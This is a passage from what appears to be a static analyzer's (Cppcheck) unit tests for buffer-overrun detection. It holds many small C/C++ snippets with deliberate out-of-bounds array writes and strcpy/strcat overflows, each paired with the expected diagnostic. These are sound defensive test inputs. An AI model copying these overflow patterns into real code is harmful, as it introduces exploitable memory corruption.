x;\\n\"\n \" for (x = 0; y && x <= 10; x++) {\\n\"\n \" data[x] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Array 'data[2]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #9126\n \" int i, c;\\n\"\n \" char* words[100] = {0};\\n\"\n \" g(words);\\n\"\n \" for (i = c = 0; (i < N) && (c < 1); i++) {\\n\"\n \" if (words[i][0] == '|')\\n\"\n \" c++;\\n\"\n \" }\\n\"\n \" return c;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_for_continue() {\n // #3913\n check(\"void f() {\\n\"\n \" int a[2];\\n\"\n \" for (int i = 0; i < 2; ++i) {\\n\"\n \" if (i == 0) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a[i - 1] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // extracttests.start: int maybe();\n check(\"void f() {\\n\"\n \" int a[2];\\n\"\n \" for (int i = 0; i < 2; ++i) {\\n\"\n \" if (maybe()) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a[i - 1] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (error) Array 'a[2]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n }\n\n void array_index_for() {\n // Ticket #2370 - No false negative when there is no \"break\"\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i < 20; ++i) {\\n\"\n \" if (i==1) {\\n\"\n \" }\\n\"\n \" a[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (error) Array 'a[10]' accessed at index 19, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // Ticket #2385 - No false positive\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i < 20; ++i) {\\n\"\n \" if (i<10) {\\n\"\n \" } else {\\n\"\n \" a[i-10] = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #3893 - start value out of bounds\n // extracttests.start: int maybe(); int dostuff();\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" for (int i = 10; maybe(); dostuff()) {\\n\"\n \" a[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'a[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // #7686\n check(\"char f() {\\n\"\n \" char buf[10];\\n\"\n \" const bool a = true, b = true;\\n\"\n \" for (int i = 0; i < (a && b ? 11 : 10); ++i)\\n\"\n \" buf[i] = 0;\\n\"\n \" return buf[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Array 'buf[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a[10] = {};\\n\"\n \" for (int n = 0; 1; ++n) {\\n\"\n \" if (a[n] < 1) {\\n\"\n \" switch (a[n]) {\\n\"\n \" case 0:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Array 'a[10]' accessed at index 9998, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_for_neq() {\n // Ticket #2211 - for loop using != in the condition\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" for (int i = 0; i != 10; ++i) {\\n\"\n \" a[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'a[5]' accessed at index 9, which is out of bounds. [arrayIndexOutOfBounds]\\n\",\n errout_str());\n }\n\n void array_index_for_question() {\n // Ticket #2561 - using ?: inside for loop\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i != 10; ++i) {\\n\"\n \" i == 0 ? 0 : a[i-1];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i != 10; ++i) {\\n\"\n \" some_condition ? 0 : a[i-1];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (error) Array 'a[10]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i != 10; ++i) {\\n\"\n \" i==0 ? 0 : a[i-1];\\n\"\n \" a[i-1] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'a[10]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n }\n\n void array_index_for_varid0() { // #4228: No varid for counter variable\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" for (i=0; i<10; i++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_vla_for() {\n // #3221 - access VLA inside for\n check(\"void f(int len) {\\n\"\n \" char a[len];\\n\"\n \" for (int i=0; i<7; ++i) {\\n\"\n \" a[0] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_extern() {\n // Ticket #1684. FP when using 'extern'.\n check(\"extern char arr[15];\\n\"\n \"char arr[15] = \\\"abc\\\";\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_cast() {\n // Ticket #2841. FP when using cast.\n\n // Different types => no error\n check(\"void f1(char *buf) {\\n\"\n \" buf[4] = 0;\\n\"\n \"}\\n\"\n \"void f2() {\\n\"\n \" int x[2];\\n\"\n \" f1(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Same type => error\n check(\"void f1(const char buf[]) {\\n\"\n \" char c = buf[4];\\n\"\n \"}\\n\"\n \"void f2() {\\n\"\n \" char x[2];\\n\"\n \" f1(x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:2]: (error) Array 'x[2]' accessed at index 4, which is out of bounds.\\n\",\n \"\",\n errout_str());\n }\n\n void array_index_string_literal() {\n check(\"void f() {\\n\"\n \" const char *str = \\\"abc\\\";\\n\"\n \" bar(str[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Array 'str[4]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" const char *str = \\\"abc\\\";\\n\"\n \" bar(str[4]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error) Array 'str[4]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" const char *str = \\\"abc\\\";\\n\"\n \" bar(str[3]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" const char *str = \\\"a\\tc\\\";\\n\"\n \" bar(str[4]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error) Array 'str[4]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #6973\n \" const char *name = \\\"\\\";\\n\"\n \" if ( name[0] == 'U' ? name[1] : 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char **argv) {\\n\"\n \" char str[6] = \\\"\\\\0\\\";\\n\"\n \" unsigned short port = 65535;\\n\"\n \" snprintf(str, sizeof(str), \\\"%hu\\\", port);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings0, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) {\\n\" // #11020\n \" const char* p = (x == 0 ? \\\"12345\\\" : \\\"ABC\\\");\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; p[i]; i++)\\n\"\n \" s += p[i];\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_same_struct_and_var_name() {\n // don't throw internal error\n check(\"struct tt {\\n\"\n \" char name[21];\\n\"\n \"} ;\\n\"\n \"void doswitch(struct tt *x)\\n\"\n \"{\\n\"\n \" struct tt *tt=x;\\n\"\n \" tt->name;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // detect error\n check(\"struct tt {\\n\"\n \" char name[21];\\n\"\n \"} ;\\n\"\n \"void doswitch(struct tt *x)\\n\"\n \"{\\n\"\n \" struct tt *tt=x;\\n\"\n \" tt->name[22] = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:13]: (error) Array 'tt->name[21]' accessed at index 22, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_valueflow() {\n check(\"void f(int i) {\\n\"\n \" char str[3];\\n\"\n \" str[i] = 0;\\n\"\n \" if (i==10) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:3:8]: (warning) Either the condition 'i==10' is redundant or the array 'str[3]' is accessed at index 10, which is out of bounds. [arrayIndexOutOfBoundsCond]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" char str[3];\\n\"\n \" str[i] = 0;\\n\"\n \" switch (i) {\\n\"\n \" case 10: break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5] -> [test.cpp:3:8]: (warning) Either the switch case 'case 10' is redundant or the array 'str[3]' is accessed at index 10, which is out of bounds. [arrayIndexOutOfBoundsCond]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char str[3];\\n\"\n \" str[((unsigned char)3) - 1] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5416 FP\n \" char *str[3];\\n\"\n \" do_something(&str[0][5]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { static const int x[100]; };\\n\" // #6070\n \"const int X::x[100] = {0};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace { class X { static const int x[100]; };\\n\" // #6232\n \"const int X::x[100] = {0}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class ActorSprite { static ImageSet * targetCursorImages[2][10]; };\\n\"\n \"ImageSet *ActorSprite::targetCursorImages[2][10];\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::size_t s) {\\n\" // #10130\n \" const char a[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };\\n\"\n \" return (s > sizeof(a)) ? 11 : (int)a[s];\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(16);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15] -> [test.cpp:3:41]: (warning) Either the condition 's>sizeof(a)' is redundant or the array 'a[16]' is accessed at index 16, which is out of bounds. [arrayIndexOutOfBoundsCond]\\n\",\n errout_str());\n\n check(\"void f(int fd) {\\n\" // #12318\n \" char buf[10];\\n\"\n \" int size = 0;\\n\"\n \" int pos = -1;\\n\"\n \" do {\\n\"\n \" pos++;\\n\"\n \" size = read(fd, &buf[pos], 1);\\n\"\n \" } while (size > 0);\\n\"\n \" buf[pos] = '\\\\0';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void array_index_valueflow_pointer() {\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" int *p = a;\\n\"\n \" p[20] = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (error) Array 'a[10]' accessed at index 20, which is out of bounds.\\n\", \"\", errout_str());\n\n {\n // address of\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" int *p = a;\\n\"\n \" p[10] = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4:6]: (error) Array 'a[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[10];\\n\"\n \" int *p = a;\\n\"\n \" dostuff(&p[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f() {\\n\"\n \" int a[X];\\n\" // unknown size\n \" int *p = a;\\n\"\n \" p[20] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[2];\\n\"\n \" char *p = (char *)a;\\n\" // cast\n \" p[4] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_function_parameter() {\n check(\"void f(char a[10]) {\\n\"\n \" a[20] = 0;\\n\" // <- cppcheck warn here even though it's not a definite access out of bounds\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:4]: (error) Array 'a[10]' accessed at index 20, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f(char a[10]) {\\n\" // #6353 - reassign 'a'\n \" a += 4;\\n\"\n \" a[-1] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char a[10]) {\\n\"\n \" a[0] = 0;\\n\"\n \" a[-1] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: (error) Array 'a[10]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n }\n\n void array_index_enum_array() { // #8439\n check(\"enum E : unsigned int { e1, e2 };\\n\"\n \"void f() {\\n\"\n \" E arrE[] = { e1, e2 };\\n\"\n \" arrE[sizeof(arrE)] = e1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Array 'arrE[2]' accessed at index 8, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_container() { // #9386\n check(\"constexpr int blockLen = 10;\\n\"\n \"void foo(std::array& a) {\\n\"\n \" a[2] = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_two_for_loops() {\n check(\"bool b();\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" int val[50];\\n\"\n \" int i, sum=0;\\n\"\n \" for (i = 1; b() && i < 50; i++)\\n\"\n \" sum += val[i];\\n\"\n \" if (i < 50)\\n\"\n \" sum -= val[i];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool b();\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" int val[50];\\n\"\n \" int i, sum=0;\\n\"\n \" for (i = 1; b() && i < 50; i++)\\n\"\n \" sum += val[i];\\n\"\n \" for (; i < 50;) {\\n\"\n \" sum -= val[i];\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool b();\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" int val[50];\\n\"\n \" int i, sum=0;\\n\"\n \" for (i = 1; b() && i < 50; i++)\\n\"\n \" sum += val[i];\\n\"\n \" for (; i < 50; i++)\\n\"\n \" sum -= val[i];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_new() { // #7690\n check(\"void f() {\\n\"\n \" int* z = new int;\\n\"\n \" for (int n = 0; n < 8; ++n)\\n\"\n \" z[n] = 0;\\n\"\n \" delete[] z;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'z[1]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* z = new int(1);\\n\"\n \" for (int n = 0; n < 8; ++n)\\n\"\n \" z[n] = 0;\\n\"\n \" delete[] z;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'z[1]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* z = new int{};\\n\"\n \" for (int n = 0; n < 8; ++n)\\n\"\n \" z[n] = 0;\\n\"\n \" delete[] z;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'z[1]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* z = new int[5];\\n\"\n \" for (int n = 0; n < 8; ++n)\\n\"\n \" z[n] = 0;\\n\"\n \" delete[] z;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'z[5]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void g() {\\n\"\n \" int* z = new int[5]();\\n\"\n \" for (int n = 0; n < 8; ++n)\\n\"\n \" z[n] = 1;\\n\"\n \" delete[] z;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'z[5]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void h() {\\n\"\n \" int** z = new int* [5];\\n\"\n \" for (int n = 0; n < 8; ++n)\\n\"\n \" z[n] = nullptr;\\n\"\n \" delete[] z;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'z[5]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void h() {\\n\"\n \" int** z = new int* [5]();\\n\"\n \" for (int n = 0; n < 8; ++n)\\n\"\n \" z[n] = nullptr;\\n\"\n \" delete[] z;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'z[5]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void h() {\\n\"\n \" int** z = new int* [5]{};\\n\"\n \" for (int n = 0; n < 8; ++n)\\n\"\n \" z[n] = nullptr;\\n\"\n \" delete[] z;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'z[5]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void h() {\\n\"\n \" int** z = new int* [5]{ 0 };\\n\"\n \" for (int n = 0; n < 8; ++n)\\n\"\n \" z[n] = nullptr;\\n\"\n \" delete[] z;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Array 'z[5]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void buffer_overrun_2_struct() {\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[5];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f(struct ABC *abc)\\n\"\n \"{\\n\"\n \" strcpy( abc->str, \\\"abcdef\\\" );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:16]: (error) Buffer is accessed out of bounds: abc->str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[5];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f()\\n\"\n \"{\\n\"\n \" struct ABC abc;\\n\"\n \" strcpy( abc.str, \\\"abcdef\\\" );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:16]: (error) Buffer is accessed out of bounds: abc.str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"struct ABC\\n\"\n \"{\\n\"\n \" char str[5];\\n\"\n \"};\\n\"\n \"\\n\"\n \"static void f(struct ABC &abc)\\n\"\n \"{\\n\"\n \" strcpy( abc.str, \\\"abcdef\\\" );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:16]: (error) Buffer is accessed out of bounds: abc.str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"static void f()\\n\"\n \"{\\n\"\n \" struct ABC\\n\"\n \" {\\n\"\n \" char str[5];\\n\"\n \" } abc;\\n\"\n \" strcpy( abc.str, \\\"abcdef\\\" );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Buffer is accessed out of bounds: abc.str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"static void f()\\n\"\n \"{\\n\"\n \" struct ABC\\n\"\n \" {\\n\"\n \" char str[5];\\n\"\n \" };\\n\"\n \" struct ABC *abc = malloc(sizeof(struct ABC));\\n\"\n \" strcpy( abc->str, \\\"abcdef\\\" );\\n\"\n \" free(abc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:16]: (error) Buffer is accessed out of bounds: abc->str [bufferAccessOutOfBounds]\\n\", errout_str());\n }\n\n\n void buffer_overrun_3() {\n check(\"int a[10];\\n\"\n \"\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" for (i = 0; i <= 10; ++i)\\n\"\n \" a[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (error) Array 'a[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"struct S { int b; } static e[1];\\n\" // #11052\n \"int f() { return e[1].b; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (error) Array 'e[1]' accessed at index 1, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n\n void buffer_overrun_4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" const char *p[2];\\n\"\n \" for (int i = 0; i < 8; ++i)\\n\"\n \" p[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'p[2]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // No false positive\n check(\"void foo(int x, int y)\\n\"\n \"{\\n\"\n \" const char *p[2];\\n\"\n \" const char *s = y + p[1];\\n\"\n \" p[1] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // There is no error here\n check(\"void f1(char *s,int size)\\n\"\n \"{\\n\"\n \" if( size > 10 ) strcpy(s,\\\"abc\\\");\\n\"\n \"}\\n\"\n \"void f2()\\n\"\n \"{\\n\"\n \" char s[3];\\n\"\n \" f1(s,20);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:8] -> [test.cpp:3]: (error) Buffer is accessed out of bounds.\\n\", \"\", errout_str());\n\n check(\"void f1(char *s,int size)\\n\"\n \"{\\n\"\n \" if( size > 10 ) strcpy(s,\\\"abc\\\");\\n\"\n \"}\\n\"\n \"void f2()\\n\"\n \"{\\n\"\n \" char s[3];\\n\"\n \" f1(s,3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char n[5];\\n\"\n \" sprintf(n, \\\"d\\\");\\n\"\n \" printf(\\\"hello!\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_6() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char n[5];\\n\"\n \" strcat(n, \\\"abc\\\");\\n\"\n \" strcat(n, \\\"def\\\");\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (error) Buffer is accessed out of bounds: n\\n\", \"\", errout_str());\n\n check(\"void f()\\n\" // #12489\n \"{\\n\"\n \" char d[3] = {};\\n\"\n \" strcat(d, \\\"12345678\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Buffer is accessed out of bounds: d [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char d[3] = \\\"ab\\\"; \\n\"\n \" strcat(d, \\\"c\\\");\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Buffer is accessed out of bounds: d [bufferAccessOutOfBounds]\\n\", \"\", errout_str());\n }\n\n void buffer_overrun_7() {\n // ticket #731\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2];\\n\"\n \" strcpy(a, \\\"a\\\\0\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_8() {\n // ticket #714\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[5];\\n\"\n \" for (int i = 0; i < 20; i = i + 100)\\n\"\n \" {\\n\"\n \" a[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[5];\\n\"\n \" for (int i = 0; i < 20; i = 100 + i)\\n\"\n \" {\\n\"\n \" a[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_9() {\n // ticket #738\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[5];\\n\"\n \" for (int i = 0; i < 20; )\\n\"\n \" {\\n\"\n \" a[i] = 0;\\n\"\n \" i += 100;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_10() {\n // ticket #740\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[4];\\n\"\n \" for (int i = 0; i < 4; i++)\\n\"\n \" {\\n\"\n \" char b = a[i];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_11() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[4];\\n\"\n \" for (float i=0; i<10.0;i=i+0.1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[4];\\n\"\n \" for (float i=0; i<10.0;i=0.1+i)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_15() { // ticket #1787\n check(\"class A : public B {\\n\"\n \" char val[2];\\n\"\n \" void f(int i, int ii);\\n\"\n \"};\\n\"\n \"void A::f(int i, int ii)\\n\"\n \"{\\n\"\n \" strcpy(val, \\\"ab\\\") ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Buffer is accessed out of bounds: val [bufferAccessOutOfBounds]\\n\", errout_str());\n }\n\n void buffer_overrun_16() {\n // unknown types\n check(\"void f() {\\n\"\n \" struct Foo foo[5];\\n\"\n \" memset(foo, 0, sizeof(foo));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // ticket #2093\n \" gchar x[3];\\n\"\n \" strcpy(x, \\\"12\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern char a[10];\\n\"\n \"void f() {\\n\"\n \" char b[25] = {0};\\n\"\n \" std::memcpy(b, a, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_18() { // ticket #2576\n check(\"class A {\\n\"\n \" void foo();\\n\"\n \" bool b[7];\\n\"\n \"};\\n\"\n \"\\n\"\n \"void A::foo() {\\n\"\n \" for (int i=0; i<6; i++) {\\n\"\n \" b[i] = b[i+1];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" void foo();\\n\"\n \" bool b[7];\\n\"\n \"};\\n\"\n \"\\n\"\n \"void A::foo() {\\n\"\n \" for (int i=0; i<7; i++) {\\n\"\n \" b[i] = b[i+1];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) Array 'b[7]' accessed at index 7, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void buffer_overrun_19() { // #2597 - class member with unknown type\n check(\"class A {\\n\"\n \"public:\\n\"\n \" u8 buf[10];\\n\"\n \" A();\"\n \"};\\n\"\n \"\\n\"\n \"A::A() {\\n\"\n \" memset(buf, 0, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void buffer_overrun_21() {\n check(\"void foo()\\n\"\n \"{ { {\\n\"\n \" char dst[4];\\n\"\n \" const char *src = \\\"AAAAAAAAAAAAAAAAAAAAA\\\";\\n\"\n \" for (size_t i = 0; i <= 4; i++)\\n\"\n \" dst[i] = src[i];\\n\"\n \"} } }\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) Array 'dst[4]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void buffer_overrun_24() { // index variable is changed in for-loop\n // ticket #4106\n check(\"void main() {\\n\"\n \" int array[] = {1,2};\\n\"\n \" int x = 0;\\n\"\n \" for( int i = 0; i<6; ) {\\n\"\n \" x += array[i];\\n\"\n \" i++; }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n // ticket #4096\n check(\"void main() {\\n\"\n \" int array[] = 